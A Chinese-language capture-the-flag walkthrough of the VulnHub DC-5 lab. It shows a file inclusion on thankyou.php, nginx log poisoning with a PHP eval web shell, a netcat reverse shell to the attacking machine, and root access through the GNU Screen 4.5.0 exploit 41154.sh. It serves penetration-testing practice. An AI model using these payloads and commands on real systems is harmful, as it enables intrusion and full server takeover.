靶场地址
https://download.vulnhub.com/dc/DC-5.zip
目标
找到所有的flag
漏洞复现
sudo arp-scan -l
nmap -p- 192.168.5.128 --min-rate=5000
http://192.168.5.128:80
<script>alert(1)</script>
# 发现一个留言页面,尝试XSS漏洞,然并卵
dirsearch -u http://192.168.5.128:80
http://192.168.5.128/footer.php
# 每刷新一次,页面都会改变
http://192.168.5.128/thankyou.php
# 每刷新一次,页面都会改变
现在猜测thanyou.php页面可能包含了footer.php页面
抓取thank.php页面的包,尝试包含文件
GET /thankyou.php?file=/etc/passwd HTTP/1.1
写入一句话木马,?file=<?php @eval($_POST['cmd']);?>
因为执行的内容会被日志记录下来,通过Wappalyzer查看到了CMS是Nginx1.6.2版本的,该版本的日志会被记录在/var/log/nginx/error.log
?file=/var/log/nginx/error.log
日志里面出现了报错信息,这个时候我们使用蚁剑来连接
http://192.168.5.128/thankyou.php?file=/var/log/nginx/error.log
cmd
# 连接成功
在kali中反弹shell进行提权
kali:nc -lvvp 4444
CD-5:nc 192.168.5.129 4444 -e /bin/sh
python -c 'import pty;pty.spawn("/bin/bash")'
# 使用我们常用的图形化界面
find / -perm -u=s -type f 2>/dev/null
# 尝试提权
看到有个screen-4.5.0的版本号
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
searchsploit screen 4.5.0
# 在kali漏洞库里面搜索一下
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
cat 41154.sh
按照脚本提示,先创建一个新的文件夹,然后将第一部分内容写到libhax.c中
mkdir dc-5
cd dc-5
vi libhax.c
cat libhax.c
然后编译这个脚本
gcc -fPIC -shared -ldl -o libhax.so libhax.c
使用vi命令创建第二个rootshell.c
vi rootshell.c
cat rootshell.c
然后编译这个脚本
gcc -fPIC -shared -ldl -o rootshell.so rootshell.c
vi dc5.sh
cat dc5.sh
将后缀.c的文件删掉
然后将三个文件上传到根目录下的tmp文件中
在kali反弹shell的窗口中
cd ../../../tmp
chmod 777 dc5.sh
./dc5.sh
cd ../../../root
ls
cat thisistheflag.txt
总结